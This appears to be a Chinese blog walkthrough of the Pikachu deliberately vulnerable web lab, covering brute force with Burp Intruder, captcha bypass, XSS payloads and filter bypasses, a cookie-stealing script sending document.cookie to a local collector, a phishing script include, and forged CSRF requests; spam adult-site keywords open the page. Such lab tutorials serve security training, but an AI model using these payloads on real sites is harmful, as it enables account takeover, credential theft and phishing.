中文字幕理论片,69视频免费在线观看,亚洲成人app,国产1级毛片,刘涛最大尺度戏视频,欧美亚洲美女视频,2021韩国美女仙女屋vip视频

打開APP
userphoto
未登錄

開通VIP,暢享免費電子書等14項超值服

開通VIP
pikachu靶場通關(guān)

pikachu靶場通關(guān)詳解

  • 一、靶場介紹
  • 二、靶場配置
  • 三、靶場實戰(zhàn)
    • 3.1 暴力破解漏洞
      • 3.1.1暴力破解攻擊&暴力破解漏洞概述
      • 3.1.2暴力破解漏洞測試流程
      • 3.1.3基于表單的暴力破解攻擊(基于burp suite )
      • 3.1.4暴力破解之不安全的驗證碼分析---on client---on server
      • 3.1.5Token可以防暴力破解嗎?
      • 3.1.6暴力破解常見的防范措施
    • 3.2 XSS(跨站腳本攻擊漏洞)
      • 3.2.1跨站腳本漏洞概述
      • 3.2.2跨站腳本漏洞類型及測試流程
      • 3.2.3反射型XSS ( get&post )演示
      • 3.2.4存儲型XSS演示
      • 3.2.5Dom型XSS演示
      • 3.2.6XSS盲打演示和原理分析
      • 3.2.7XSS的過濾和繞過( filter&htmlspecialchars )
      • 3.2.8XSS輸出在href和js中的案例分析
      • 3.2.9XSS的危害-獲取cookie的原理和演示
      • 3.2.10XSS危害-XSS進(jìn)行釣魚的原理和演示
      • 3.2.11XSS危害XSS獲取鍵盤記錄原理和演示
      • 3.2.12XSS常見防范措施
    • 3.3CSRF(跨站請求偽造漏洞)
      • 3.3.1CSRF漏洞概述
      • 3.3.2CSRF ( get/post )實驗演示和解析
      • 3.3.3Anti CSRF token
      • 3.3.4常見CSRF防范措施
    • 3.4SQL-Inject(SQL注入漏洞)
      • 3.4.1SQL Inject漏洞原理概述
      • 3.4.2注入方式get&post&搜索型&xx型
      • 3.4.3SQL Inject漏洞手工測試:基于union聯(lián)合查詢的信息獲取( select )
      • 3.4.4通過information_ schema拿下數(shù)據(jù)庫手工測試完整案例演示
      • 3.4.5SQL Inject漏洞手工測試:基于報錯的信息獲取(select/delete/update/insert)
      • 3.4.6SQL注入漏洞-基于http header的注入
      • 3.4.7SQL注入漏洞-盲注( boolian base )原理及測試
      • 3.4.8SQL注入漏洞盲注( time base )原理及測試
      • 3.4.9os遠(yuǎn)程控制
      • 3.4.10SQL Inject漏洞之表(列)名的暴力破解
      • 3.4.11如何使用SQL-Map進(jìn)行SQL Inject漏洞測試
      • 3.4.12SQL注入漏洞常見防范措施
    • 3.5RCE(代碼執(zhí)行/命令執(zhí)行)
    • 3.6Files Inclusion(文件包含漏洞)
      • 3.6.1文件包含原理及本地文件包含漏洞
      • 3.6.2遠(yuǎn)程文件包含漏洞
      • 3.6.3文件包含漏洞防范措施
    • 3.7 Unsafe file downloads(不安全的文件下載)
    • 3.8 Unsafe file uploads(不安全的文件上傳)
      • 3.8.1不安全的文件上傳原理及客戶端繞過
      • 3.8.2上傳漏洞之MINE type驗證原理和繞過
      • 3.8.3文件上傳之getimagesize繞過和防范措施
    • 3.9 Over Permisson(越權(quán)漏洞)
      • 3.9.1越權(quán)漏洞原理及水平越權(quán)
      • 3.9.2垂直越權(quán)
    • 3.10 ../../../(目錄遍歷)
    • 3.11 I can see your ABC(敏感信息泄露)
    • 3.12 PHP反序列化漏洞
    • 3.13 XXE(XML外部實體攻擊)
    • 3.14 不安全的URL重定向
    • 3.15 SSRF(服務(wù)器端請求偽造)
  • 參考資料

一、靶場介紹

靶場源碼鏈接:
GitHub:https://github.com/zhuifengshaonianhanlu/pikachu
靶場漏洞介紹:

二、靶場配置

先安裝phpstudey,在GitHub上下載源碼,放在phpstudy的www(網(wǎng)站)目錄下,完成配置與初始化。
靶場搭建鏈接(內(nèi)含phpstudy與pikachu的配置):
https://blog.csdn.net/weixin_42474304/article/details/117533788

三、靶場實戰(zhàn)

3.1 暴力破解漏洞

3.1.1暴力破解攻擊&暴力破解漏洞概述

對暴力破解的理解:暴力破解=連續(xù)性的嘗試+字典+自動化。
其實就是去猜可能的密碼,經(jīng)過不斷的試賬號和密碼,找出正確的賬號密碼,達(dá)到暴力破解的目的。
最重要的部分就是字典,一個好的字典可以大大加快破解速度。

  • 常用的賬號密碼(弱口令),比較常用的賬號密碼,系統(tǒng)初始設(shè)定的賬號密碼,比如常用用戶名/密碼TOP 500等。
  • 互聯(lián)網(wǎng)上被脫褲后賬號密碼(社工庫) ,差不多就是撞庫,也就是拿已知的一個庫去嘗試登錄另外一個庫。比如CSDN當(dāng)年泄漏的約600w用戶信息。
  • 使用指定的字符使用工具按照指定的規(guī)則進(jìn)行排列組合算法生成的密碼,特定的字符很多,像手機(jī)號、出生日期,姓名等等。

對于暴力破解漏洞的話,如果個網(wǎng)站沒有對登錄接 實施防暴力破解的措施,或者實施 了不合理的措施,稱該網(wǎng)站存在暴力破解漏洞。
?是否要求用戶設(shè)置了復(fù)雜的密碼;
?是否每次認(rèn)證都使用安全的驗證碼;
?是否對嘗試登錄的行為進(jìn)行判斷和限制;
?是否在必要的情況下采用了雙因素認(rèn)證;
…等等。
存在暴力破解漏洞的網(wǎng)站可能會遭受暴力破解攻擊,但該暴力破解攻擊成功的可能性并不是100% !
所以有些網(wǎng)站即雖然存在暴力破解漏洞,但其管理員可能會忽略它的危害。搞安全的話,不能有僥幸心理,否則隨時會被干掉??。

3.1.2暴力破解漏洞測試流程

1、確認(rèn)是否存在暴力破解漏洞 :
確認(rèn)目標(biāo)是否存在暴力破解的漏洞。( 確認(rèn)被暴力破解的“可能性' )
比如:嘗試登錄一抓包-- -觀察驗證元素和response信息,判斷否存在被暴力破解的可能。
2、對字典進(jìn)行配置
根據(jù)實際的情況對字典進(jìn)行配置,提高爆破過程的效率。
技巧一:
根據(jù)注冊提示信息進(jìn)行優(yōu)化
對目標(biāo)站點進(jìn)行注冊,搞清楚賬號密碼的一些限制,比如目標(biāo)站點要求密碼必須是6位以上,字母數(shù)字組合,則可以按照此優(yōu)化字典,比如去掉不符合要求的密碼。
技巧二:
如果爆破的是管理后臺,往往這種系統(tǒng)的管理員是admin/administrator/root的機(jī)率比較高,可以使用這三個賬號+隨便-個密碼 ,嘗試登錄 ,觀看返回的結(jié)果 ,確定用戶名。
比如:
輸入xxx/yyyf返回“用戶名或密碼錯誤'
輸入admin/yy返回'密碼錯誤”, 則基本可以確定用戶名是admin ;
因此可以只對密碼進(jìn)行爆破即可,提高效率。

3、工具自動化操作
配置自動化工具(比如線程、超時時間、重試次數(shù)等) , 進(jìn)行自動化操作。

3.1.3基于表單的暴力破解攻擊(基于burp suite )

測試目標(biāo): Pikachu-暴力破解-基于表單的暴力破解
測試工具: burp suite free edition-intruder
burp官方下載通道
進(jìn)行嘗試性登錄,提示用戶名或密碼不存在,登陸失敗。


在burp看到是一個post請求,賬號和密碼分別是1231和1234。

在響應(yīng)界面正常返回一個登陸失敗的的界面。

選中此條post請求發(fā)送到Intruder中

將原始數(shù)據(jù)包中的變量清除,選中用戶名和密碼點擊Add$將其設(shè)置為變量。

  • Sniper模式邏輯:先將第一個變量也就是用戶名替換,第二個變量不動。當(dāng)?shù)谝粋€變量替換完之后,對第二個變量進(jìn)行依次替換。直白一點就是說一個變,另外一個不變,第一個變完,變第二個。
  • Battering ram模式邏輯:所有變量進(jìn)行同時同樣的替換。就是說你變我也變,你變什么我也變什么。
  • Pitchfork模式邏輯:所有變量同時替換,但是各自變量替換各自的字典,同時進(jìn)行,但是互不相干。替換時第一個變量的第一替換值對應(yīng)第二個變量的第一個替換值,不進(jìn)行排列組合,就是1對1,2對2。不會將密碼進(jìn)行隨機(jī)的排列組合。
  • Cluster bomb模式邏輯:與Pitchfork模式邏輯類似,不同點是Cluster bomb模式會進(jìn)行隨機(jī)的排列組合。

在這里我們使用Cluster bomb模式進(jìn)行破解,在Payloads中配置第一個變量和第二個變量的字典,這里可以手動輸入添加,也可以在系統(tǒng)中添加已經(jīng)寫好的字典。

添加字典后進(jìn)行攻擊,根據(jù)返回數(shù)據(jù)包的長度進(jìn)行判斷是否成功。為了方便觀察也可以在grep-match中刪除原有字符串,添加username or password is not exists,burp就會將所有含有此字符串的數(shù)據(jù)包flag出來。沒有被flag出的數(shù)據(jù)包則是我們破解成功的數(shù)據(jù)包。點擊username or password is not exists進(jìn)行排序,沒有勾選的則表明破解成功,有勾選的則表明破解失敗。


用破解出的賬戶密碼進(jìn)行登錄,login success。

3.1.4暴力破解之不安全的驗證碼分析—on client—on server

驗證碼的作用:
防止登錄暴力破解
防止機(jī)器惡意注冊
驗證碼大概的的認(rèn)證流程:

  • 客戶端request登錄頁面,后臺生成驗證碼:
    1.后臺使用算法生成圖片,并將圖片response給客戶端;
    2.同時將算法生成的值全局賦值存到SESSION中;
  • 校驗驗證碼:
    1.客戶端將認(rèn)證信息和驗證碼-同提交;
    2.后臺對提交的驗證碼與SESSION里面的進(jìn)行比較;
  • 客戶端重新刷新頁面,再次生成新的驗證碼:
    驗證碼算法中一般包含隨機(jī)函數(shù),所以每次刷新都會改變;

不安全的驗證碼on client繞過演示

隨機(jī)輸入賬號密碼,輸入相應(yīng)驗證碼,利用burp抓包。

登錄失敗驗證碼發(fā)生變化。

查看源碼,我們可以發(fā)現(xiàn)驗證碼是JavaScript隨機(jī)生成,點擊一次函數(shù)運(yùn)行一次生成一個相應(yīng)的驗證碼。


將數(shù)據(jù)包發(fā)送到repeater中,對驗證碼進(jìn)行判定,判定后臺是否對驗證碼進(jìn)行校驗。修改驗證碼點擊go,多次嘗試發(fā)現(xiàn)返回的信息都是username or password is not exists,但是沒有提示驗證碼錯誤。

則可以判斷雖然驗證碼被提交,但是后臺并沒有驗證。這個驗證碼框是通過JavaScript實現(xiàn)的,對于不懂安全的人來說,可以起到一定的防范作用。但對于知道這個原理的人來說形同虛設(shè)。
接下來,就與基于表單的流程一樣,發(fā)送數(shù)據(jù)包到Intruder中,選用Cluster bomb模式修改變量,因為驗證碼后臺并不校驗沒有用,所以只用選擇用戶名與密碼。

在payload中導(dǎo)入字典進(jìn)行爆破。

進(jìn)行長度排序,根據(jù)數(shù)據(jù)包長度不同,找到可能的密碼。

輸入用戶名,密碼和驗證碼,破解成功。

不安全的驗證碼- on client常見問題
●使用前端js實現(xiàn)驗證碼(紙老虎) ;
●將驗證碼在cookie中泄露,容易被獲取;
●將驗證碼在前端源代碼中泄露,容易被獲取;
不安全的驗證碼- on server-演示
隨機(jī)輸入賬號密碼,輸入相應(yīng)驗證碼,利用burp抓包。

登錄失敗,驗證碼發(fā)生變化。

將數(shù)據(jù)包發(fā)送到repeater,進(jìn)行判斷。將驗證碼設(shè)置為空,點擊運(yùn)行,出現(xiàn)錯誤提示,驗證碼不能為空。


隨機(jī)輸入一個驗證碼,點擊運(yùn)行,出現(xiàn)錯誤提示,驗證碼不正確。

經(jīng)過判斷,我們發(fā)現(xiàn)后臺對驗證碼有進(jìn)行校驗,那是不是這樣就沒問題了呢?顯然不是這樣,從表面上看沒有問題,但是我們還需要對驗證碼是否在后臺過期進(jìn)行進(jìn)一步驗證。首先先點擊驗證碼,獲取一個新的驗證碼,并將其記下來。

然后返回數(shù)據(jù)包中,將正確的驗證碼輸入。點擊運(yùn)行,提示用戶名和密碼不正確。為了驗證驗證碼是否一致有效,我們修改用戶名和密碼,驗證碼不變,點擊運(yùn)行,結(jié)果一樣。說明驗證碼可以重復(fù)利用。
將數(shù)據(jù)包發(fā)送到Intruder,設(shè)置變量用戶名和密碼,驗證碼則輸入正確的驗證碼,不設(shè)置變量。輸入字典進(jìn)行破解。

進(jìn)行長度排序,找出正確用戶名與密碼。

登陸成功。

不安全的驗證碼-on server常見問題
●驗證碼在后臺不過期,導(dǎo)致可以長期被使用;
●驗證碼校驗不嚴(yán)格,邏輯出現(xiàn)問題;
●驗證碼設(shè)計的太過簡單和有規(guī)律,容易被猜解

3.1.5Token可以防暴力破解嗎?

一個token示例

//生成一個token,以當(dāng)前的時間+一個5位的前綴
function set_token(){
    if(isset($_SESSION['token'])){
        unset($_SESSION['token']);
        }
        $_SESSION['token']=str_replace('.','',uniqid(mt_rand(10000,99999),true));
  }

一般的做法:
1.將token以'type='hidden’’”的形式輸出在表單中;
2.在提交的認(rèn)證的時候一起提交,并在后臺對其進(jìn)行校驗;
但,由于其token值輸出在了前端源碼中,容易被獲取,因此也就失去了防暴力破解的意義。一般Token在防止CSRF上會有比較好的功效,具體講在CSRF漏洞章節(jié)進(jìn)行講解。

3.1.6暴力破解常見的防范措施

防暴力破解的措施總結(jié)
●設(shè)計安全的驗證碼(安全的流程+復(fù)雜而又可用的圖形) ;
●對認(rèn)證錯誤的提交進(jìn)行計數(shù)并給出限制,比如連續(xù)5次密碼錯誤,鎖定2小時;
●必要的情況下,使用雙因素認(rèn)證;

3.2 XSS(跨站腳本攻擊漏洞)

3.2.1跨站腳本漏洞概述

●XSS漏洞一直被評估為web漏洞中危害較大的漏洞,在OWASP TOP10的排名中一直屬于前三的江湖地位。
●XSS是一種發(fā)生在Web前端的漏洞,所以其危害的對象也主要是前端用戶。
●XSS漏洞可以用來進(jìn)行釣魚攻擊、釣魚攻擊、前端js挖礦、用戶cookie獲取。甚至可以結(jié)合瀏覽器自身的漏洞對用戶主機(jī)進(jìn)行遠(yuǎn)程控制等
XSS(竊取cookie)攻擊流程

3.2.2跨站腳本漏洞類型及測試流程

跨站腳本漏洞常見類型

危害:存儲型>反射型> DOM型

●反射型
交互的數(shù)據(jù)一般不會被存在在數(shù)據(jù)庫里面,一次性,所見即所得,一般出現(xiàn)在查詢類頁面等。
●存儲型
交互的數(shù)據(jù)會被存在在數(shù)據(jù)庫里面,永久性存儲,一般出現(xiàn)在留言板,注冊等頁面。
●DOM型
不與后臺服務(wù)器產(chǎn)生數(shù)據(jù)交互,是一種通過DOM操作前端代碼輸出的時候產(chǎn)生的問題,一次性也屬于反射型。

xss漏洞形成的原因:
形成XSS漏洞的主要原因是程序?qū)斎牒洼敵龅目刂撇粔驀?yán)格,導(dǎo)致“精心構(gòu)造'的腳本輸入后,在輸?shù)角岸藭r被瀏覽器當(dāng)作有效代碼解析執(zhí)行從而產(chǎn)生危害。

跨站腳本漏洞測試流程:
①在目標(biāo)站點上找到輸入點,比如查詢接口,留言板等;
②輸入一組”特殊字符+唯一識別字符”, 點擊提交后,查看返回的源碼,是否有做對應(yīng)的處理;
③通過搜索定位到唯一字符,結(jié)合唯一字符前后語法確認(rèn)是否可以構(gòu)造執(zhí)行js的條件 (構(gòu)造閉合) ;
④提交構(gòu)造的腳本代碼(以及各種繞過姿勢),看是否可以成功執(zhí)行,如果成功執(zhí)行則說明存在XSS漏洞;

提示:
1.一般查詢接口容易出現(xiàn)反射型XSS ,留言板容易出現(xiàn)存儲型XSS ;
2.由于后臺可能存在過濾措施,構(gòu)造的script可能會被過濾掉,而無法生效或者環(huán)境限制了執(zhí)行(瀏覽器) ;
3.通過變化不同的script ,嘗試?yán)@過后臺過濾機(jī)制;

3.2.3反射型XSS ( get&post )演示

在對應(yīng)的輸入點輸入特殊字符如:;'’<>9999
目的就是看一看是否會被過濾,(因為我們含有特殊字符)有沒有被輸出,有沒有被處理。點擊提交。


查看頁內(nèi)源碼,CTRL+F在頁面內(nèi)查找我們輸入的字符。

輸入的特殊字符被原封不動的輸出,那么我們輸入正確的JavaScript語句就有可能會被原封不動的返回。

語句輸入到一半時,發(fā)現(xiàn)不能輸入了,原因是對長度進(jìn)行了限制。這是在前端的安全設(shè)置,意義不是很大。兵來將擋水來土掩,在設(shè)置中打開web開發(fā)者工具,查找輸入框語句。

可以看到長度為20,我們將其修改為2000即可。

輸入代碼<script>alert('xss')</script>,我們可以看到在輸入框中的語句被執(zhí)行,出現(xiàn)了xss彈窗。

因為是反射性,一次性的,刷新頁面之后彈窗消失。這個xss實際上是以get的方式提交的。

GET和POST典型區(qū)別:
GET是以url方式提交數(shù)據(jù);
POST是以表單方式在請求體里面提交;

GET方式的XSS漏洞更加容易被利用, 一般利用的方式是將帶有跨站腳本的URL偽裝后發(fā)送給目標(biāo),而POST方式由于是以表單方式提交,無法直接使用URL方式進(jìn)行攻擊,如何利用?可以思考一下3.2.6揭曉。

3.2.4存儲型XSS演示

存儲型XSS漏洞跟反射型形成的原因一樣,不同的是存儲型XSS下攻擊者可以將腳本注入到后臺存儲起來,構(gòu)成更加持久的危害,因此存儲型XSS也稱“永久型”XSS。

在留言版上試著輸入留言6666。


我們發(fā)現(xiàn)留言被后臺存儲,并沒有消失。
按之前的思路,測這個留言板是否存在xss漏洞,在留言板輸入特殊字符。

打開頁面源碼,CTRL+F去搜索我們輸入字符的位置。

沒有任何處理,直接被輸出。我們輸入一個payload,一個彈窗。

點擊提交,我們發(fā)現(xiàn)語句被執(zhí)行出現(xiàn)了彈窗。

我們進(jìn)行頁面切換,然后再次切換回來,發(fā)現(xiàn)彈窗依然存在,說明我們輸入的語句已經(jīng)被存儲起來。

道理與反射性差不多,唯一區(qū)別就是永久和一次性。

3.2.5Dom型XSS演示

工欲善其事必先利其器,在了解Dom型xss,我們先了解什么是DOM。

通過JavaScript,可以重構(gòu)整個HTML文檔。可以添加、移除、改變或重排頁面上的項目。
要改變頁面的某個東西,JavaScript 就需要獲得對HTML文檔中所有元素進(jìn)行訪問的入口。這個入口,連同對HTML元索進(jìn)行添加、移動、改變或移除的方法和屬性,都是通過文檔對象模型來獲得的( DOM) 。
所以,你可以把DOM理解為一個一個訪問HTML的標(biāo)準(zhǔn)編程接口。
可以自己看一個具體的栗子:w3school HTML DOM
打開DOM型xss,在輸入框中輸入一串字符。


顯示結(jié)果是what do you see?,看起來應(yīng)該是A標(biāo)簽,打開頁面源碼,CTRL+F搜索這串字符,看一下它具體是做了什么操作。

輸入的字符串,被拼接到了a標(biāo)簽當(dāng)中。
判斷此處是否有xss漏洞,與之前思路一樣。先確認(rèn)輸入點,輸入就是input也就是輸入框。輸出的話DOM是純前端操作,輸出也是前端輸出。

藍(lán)框框選的就是我們的輸入,我們把這條語句拿出來分析,利用輸入構(gòu)造一個閉合。

<a href=''+str+''>what do you see?</a>

我們還是輸入一個彈窗,在input輸入#' onclick='alert(666)”>
構(gòu)成a標(biāo)簽閉合,且嵌入一個彈窗。<a href='#' onclick='alert(666)'>'>what do you see?</a>


屬于低危漏洞,好像比較雞肋,但是前端編寫各種各樣,還是需要注意的。
DOM型xss-x
xss-x就屬于一個例外的例子。
在輸入框輸入字符,并點擊進(jìn)行提交。

同樣我們要看它的具體操作是什么,打開頁面源碼進(jìn)行查看。

它的輸入實際上是從url上獲取的,這就類似反射性。
我們還是對其進(jìn)行閉合,與之前一樣是a標(biāo)簽閉合。在input輸入#' onclick='alert(666)”>

點擊之后,產(chǎn)生一個666的彈窗。

3.2.6XSS盲打演示和原理分析

xss盲打指的是一種攻擊場景。


也就是說只有后臺會看到前端輸入的內(nèi)容。從前端無法判斷是否存在XSS ,怎么辦?
不管3721,往里面插XSS代碼,然后等待,可能會有驚喜!
由于是后端,可能安全考慮不太嚴(yán)格。當(dāng)管理員登錄時,就會被X !
打開xss之盲打,隨意輸入看看是什么效果。

我們輸入的內(nèi)容并不會在前端輸出,看起來應(yīng)該是存到了后臺,也就是說可能只有管理員可以看。
我們輸入<script>alert('xni')</script>,設(shè)置一個彈窗,看看管理員在后臺登陸上,是否會被x到。如果被x到這種場景就叫做盲打。
輸入之后提交,點擊提示,登錄管理員網(wǎng)址。

輸入用戶密碼后點擊登錄。

我們可以發(fā)現(xiàn)后臺管理員被x到。


這種情況就是xss盲打,對攻擊者來說只是嘗試的輸入,并不知道后臺是否被輸出,只是嘗試的輸入跨站腳本。管理員被x到,攻擊者成功。這種危害比較大,如果在前端輸入一段盜取cookie的腳本,管理員一登陸,管理員的cookie就會被獲取。攻擊者就可以偽裝管理員登陸后臺,后臺的權(quán)限就大了。

3.2.7XSS的過濾和繞過( filter&htmlspecialchars )

XSS繞過-過濾-轉(zhuǎn)換
0,前端限制繞過,直接抓包重放,或者修改html前端代碼
1,大小寫,比如: <SCRIPT> aLeRT(111)</sCRIpt>
2,拼湊: <scri<script> pt> alert(111)</scri</script> pt>
3,使用注釋進(jìn)行干擾: <scri<!--test--> pt> alert(111)</sc <--test--> ript>

XSS繞過-過濾-編碼
核心思路:

后臺過濾了特殊字符,比如< script>標(biāo)簽,但該標(biāo)簽可以被各種編碼,后臺不一定會過濾
當(dāng)瀏覽器對該編碼進(jìn)行識別時,會翻譯成正常的標(biāo)簽,從而執(zhí)行.
在使用編碼時需要注意編碼在輸出點是否會被正常識別和翻譯!

栗子1:
< img src=x onerror=”alert( xss )'將alert('xss’ )進(jìn)行URL編碼,可以執(zhí)行嗎

<img src=x onerror= ' alert%28%27xss%27%29' />

不可以,因為這些屬性標(biāo)簽并不會正常解析這些編碼。

栗子2 :
使用事件屬性onxxx();
<img src=x onerror=' alert('xss')' />可以把a(bǔ)lert('xss )進(jìn)行html編碼

<img srC=X onerror=' &#97;&# 108;&#101;&#114;&# 116;&#40;&#39;&#120;&#115;&#115;&#39;&#41;/>
<img src=xonmouseover= '&#97;&l# 108;&# 101;&#114;&#116;&#40;'&#120;&l#115;&#115;'&#41;'/>

可以執(zhí)行。事件標(biāo)簽里面并不會執(zhí)行標(biāo)簽里面的代碼。
XSS繞過的姿勢有很多取決于你的思路和對前端技術(shù)的掌握程度
打開xss之過濾我們隨意輸入一串字符<script>;'#@


我們打開頁面源碼查看

我們輸入的script應(yīng)該是被x掉了。我們嘗試大小寫混合,看看能不能繞過。

<scRIPt>alert(666)</ScrIpt>


查看代碼我們發(fā)現(xiàn)只對小寫的script進(jìn)行了過濾,我們也可以使用img標(biāo)簽。

<img src=x onerror='alert(666)'>


XSS繞過關(guān)于htmlspecialchars()函數(shù)

htmlspecialchars()函數(shù)把預(yù)定義的字符轉(zhuǎn)換為HTML實體。
預(yù)定義的字符是:

&(和號)成為&
'(雙引號)成為'
'(單引號)成為'
<(小于)成為<
'>’(大于)成為>

可用的引號類型:

ENT_ COMPAT -默認(rèn)。僅編碼雙引號。
ENT QUOTES -編碼雙引號和單引號。
ENT NOQUOTES -不編碼任何引號。

打開xss之html***********
我們還是先輸入一段字符串66666’“<>#$%


提交之后我們看源碼

我們發(fā)現(xiàn)除了單引號其他的特殊字符都進(jìn)行了編碼,我們可以輸入q' onclick='alert(666)'第一個單引號是對前面進(jìn)行閉合。

3.2.8XSS輸出在href和js中的案例分析

打開xss之herf,輸入Javascript:alert(666),不含有特殊字符。


我們查看頁內(nèi)源碼
在a標(biāo)簽的herf中,我們返回頁面點擊返回的藍(lán)色字體。

alert被執(zhí)行,出現(xiàn)彈窗。在這里我們可以做出相應(yīng)防范,只允許http,https,其次在進(jìn)行htmlspecialchars處理。
打開xss之js,我們隨意輸入然后查看頁內(nèi)原碼。

我們輸入tmac

我們嘗試造成閉合,輸入x'</script><script>alert('xss')</script>,先將前面的script閉合再插入我們自己的語句。

3.2.9XSS的危害-獲取cookie的原理和演示

get型xss利用
在管理工具中打開xss后臺


數(shù)據(jù)庫用戶名與密碼,要改正確,或者直接把自己的改成root,root。

登陸之后,點擊cookie收集,顯示一個結(jié)果,默認(rèn)沒有數(shù)據(jù)。

打開反射型xss(get),首先先解決字符長度的問題,3.2.3有介紹不再贅述了,之前我們輸入payload出現(xiàn)彈窗,我們這次輸入一個比較復(fù)雜的payload,目的就是為了獲取用戶本地的cookie,發(fā)送到我們的xss后臺。

<script>document.location = 'http://127.0.0.1/pikachu-master/pikachu-master/pkxss/xcookie/cookie.php?cookie=' +document.cookie;</script>

這里的payload需要自己修改,由于都是本地,全部改成127.0.0.1即可,后面就是www后的路徑。我自己phpstudy的www后的路徑為pikachu-master/pikachu-master/pkxss/xcookie/cookie.php,注意一下需要修改這兩個文件中的代碼。

執(zhí)行之后,跳回了首頁。


打開xss后臺,刷新,顯示獲取cookie。

postxss
輸入賬號密碼登錄,頁面跳轉(zhuǎn),輸入字符,不難發(fā)現(xiàn)并沒有在url中提交參數(shù)。

打開burp查看抓包。

我們發(fā)現(xiàn)message是通過請求體返回,通過post方式傳到后臺。這樣的話是不能把惡意代碼嵌入url中。
POST型XSS獲取cookie原理

我們需要自己搭一個惡意站點,然后在網(wǎng)站上放一個post表單,將存放POST表單的鏈接發(fā)送給受害者,誘導(dǎo)受害者點擊。 這個POST表單會自動向漏洞服務(wù)器提交一個POST請求,實現(xiàn)受害者幫我們提交POST請求的目的。我們只需要誘導(dǎo)受害者點擊上面的鏈接就能竊取用戶的Cookie。

3.2.10XSS危害-XSS進(jìn)行釣魚的原理和演示

釣魚思路:

打開xss釣魚后臺,打開存儲型xss,輸入<script src='http://127.0.0.1/pikachu-master/pkxss/xfish/fish.php'></script>,頁面會出現(xiàn)彈窗,輸入賬號密碼。當(dāng)頁面刷新時依然存在彈窗,所有訪問者都會遇到彈窗,輸入賬號密碼后,數(shù)據(jù)被存入后臺,打開xss后臺即可查看釣魚數(shù)據(jù)。

3.2.11XSS危害XSS獲取鍵盤記錄原理和演示

跨域:


當(dāng)協(xié)議、主機(jī)(主域名,子域名)、端口中的任意一一個不相同時,稱為不同域。我們把不同的域之間請求數(shù)據(jù)的操作,成為跨域操作。
跨域同源策略
了安全考慮,所有的瀏覽器都約定了'同源策略”, 同源策略規(guī)定,兩個不同域名之間不能使用JS進(jìn)行相互操作。比如: x.com域名下的javascrip并不能操作y.com域下的對象。
如果想要跨域操作,則需要管理員進(jìn)行特殊的配置。
比如通過: header( “Access -Control Allow- Origin:x.com” )指定。
Tips:下面這些標(biāo)簽跨域加載資源(資源類型是有限制的)是不受同源策略限制的。

`


提交之后,這段js代碼就被嵌入到了頁面當(dāng)中。打開rkserver,設(shè)置一個header,允許跨域訪問。

打開控制臺,在頁面上隨意輸入,可以看到請求。

在頁面上,隨意進(jìn)行輸入。在后臺查看,可以看到鍵盤敲擊被記錄。

3.2.12XSS常見防范措施

總的原則:輸入做過濾,輸出做轉(zhuǎn)義
過濾:根據(jù)業(yè)務(wù)需求進(jìn)行過濾,比如輸入點要求輸入手機(jī)號,則只允許輸入手機(jī)號格式的數(shù)字。
轉(zhuǎn)義:所有輸出到前端的數(shù)據(jù)都根據(jù)輸出點進(jìn)行轉(zhuǎn)義,比如輸出到html中進(jìn)行htm|實體轉(zhuǎn)義,輸入到JS里面的進(jìn)行js轉(zhuǎn)義。

3.3CSRF(跨站請求偽造漏洞)

3.3.1CSRF漏洞概述

Cross-site request forgery簡稱為'CSRF' 。
在CSRF的攻擊場景中攻擊者會偽造一個請求(這個請求一般是一 個鏈接)
然后欺騙目標(biāo)用戶進(jìn)行點擊,用戶一旦點擊了這個請求,整個攻擊也就完成了。
所以CSRF攻擊也被稱為為' one click '攻擊。
為了方便理解,舉個栗子理解一下


正常情況下,lucy登錄后,編輯好修改的內(nèi)容,點擊提交即可完成個人信息的修改
鏈接url:http://192.168.112.200/ant/vulnerabilities/csrf/csrfget/csrf_ mem_ edit.php?sex= 女&phonenum= 12345678922&add=地球村504號&email=lucy@pi ka’ chu.com&submit=submit
這個時候小白想要修改lucy的個人信息該怎么做?
首先要有l(wèi)ucy的權(quán)限!
小白將修改個人信息的請求偽造,引誘lucy在登陸的情況下點擊,攻擊就成功了。
http://192.168.112.200/ant/vulnerbiltie./csrf/csrfget/csrf mem. edit.php?sex=女&phonenum= 13856564455&add=火星村111號&email=lucy@pikachu.com&tsubmit= submit
攻擊成功條件:

條件1 : xxx購物網(wǎng)站沒有對個人信息修改的請求進(jìn)行防CSRF處理,導(dǎo)致該請求容易被偽造。因此,我們判斷一個網(wǎng)站是否存在CSRF漏洞 ,其實就是判斷其對關(guān)鍵信息 (比如密碼等敏感信息)的操作(增刪改)是否容易被偽造。

條件2 : lucy在登錄了后臺的情況下,點擊了小白發(fā)送的'埋伏'鏈接。如果lucy不在登錄狀態(tài)下,或者lucy更本就沒有點擊這個鏈接,則攻擊不會成功。

csrf與xss的區(qū)別
如果小白事先在xx網(wǎng)的首頁如果發(fā)現(xiàn)了一個XSS漏洞,則小白可能會這樣做:
1,欺騙Iucy訪問埋伏了XSS腳本(盜取cookie的腳本)的頁面;
2,Iucy中招,小白盜取到到ucy的cookie ;
3,小白順利登錄到lucy的后臺,小白自己修改lucy的相關(guān)信息;

CSRF是借用戶的權(quán)限完成攻擊,攻擊者并沒有拿到用戶的權(quán)限,而XSS是直接盜取到了用戶的權(quán)限,然后實施破壞。
如何確認(rèn)一個web系統(tǒng)存在csrf漏洞
1,對目標(biāo)網(wǎng)站增刪改的地方進(jìn)行標(biāo)記,并觀察其邏輯,判斷請求是否可以被偽造
–比如修改管理員賬號時 ,并不需要驗證舊密碼 ,導(dǎo)致請求容易被偽造 ;
–比如對于敏感信息的修改并沒有使用安全的token驗證,導(dǎo)致請求容易被偽造;
2.確認(rèn)憑證的有效期(這個問題會提高CSRF被利用的概率)
—雖然退出或者關(guān)閉了瀏覽器,但cookie仍然有效,或者session并沒有及時過期,導(dǎo)致CSRF攻擊變的簡單

3.3.2CSRF ( get/post )實驗演示和解析

CSRFget
我們假設(shè)我們是Lucy,登陸網(wǎng)站修改信息。



我們點擊修改信息并提交,修改成功。我們打開burp查看抓到的數(shù)據(jù)包

這是我們的請求:GET/vul/csrf/csrfget/csrf_get_edit.phpsex=5&phonenum=54151&add=411&email=www&submit=submit
我們并沒有看到CSRF的token,說明并沒有防CSRF的措施。
修改get請求,將地址411修改為shanxi

http://127.0.0.1/pikachu-master/vul/csrf/csrfget/csrf_get_edit.phpsex=5&phonenum=54151&add=shanxi&email=www&submit=submit

現(xiàn)在只需要把這個請求通過郵件或者信息發(fā)給Lucy,Lucy進(jìn)行了訪問。地址被更開。


post型,因為是請求體,不能在url中,和xsspost類似需要自己弄一個站點,做一個表單,讓Lucy點我們惡意站點表單的url,向頁面提交post請求。

3.3.3Anti CSRF token

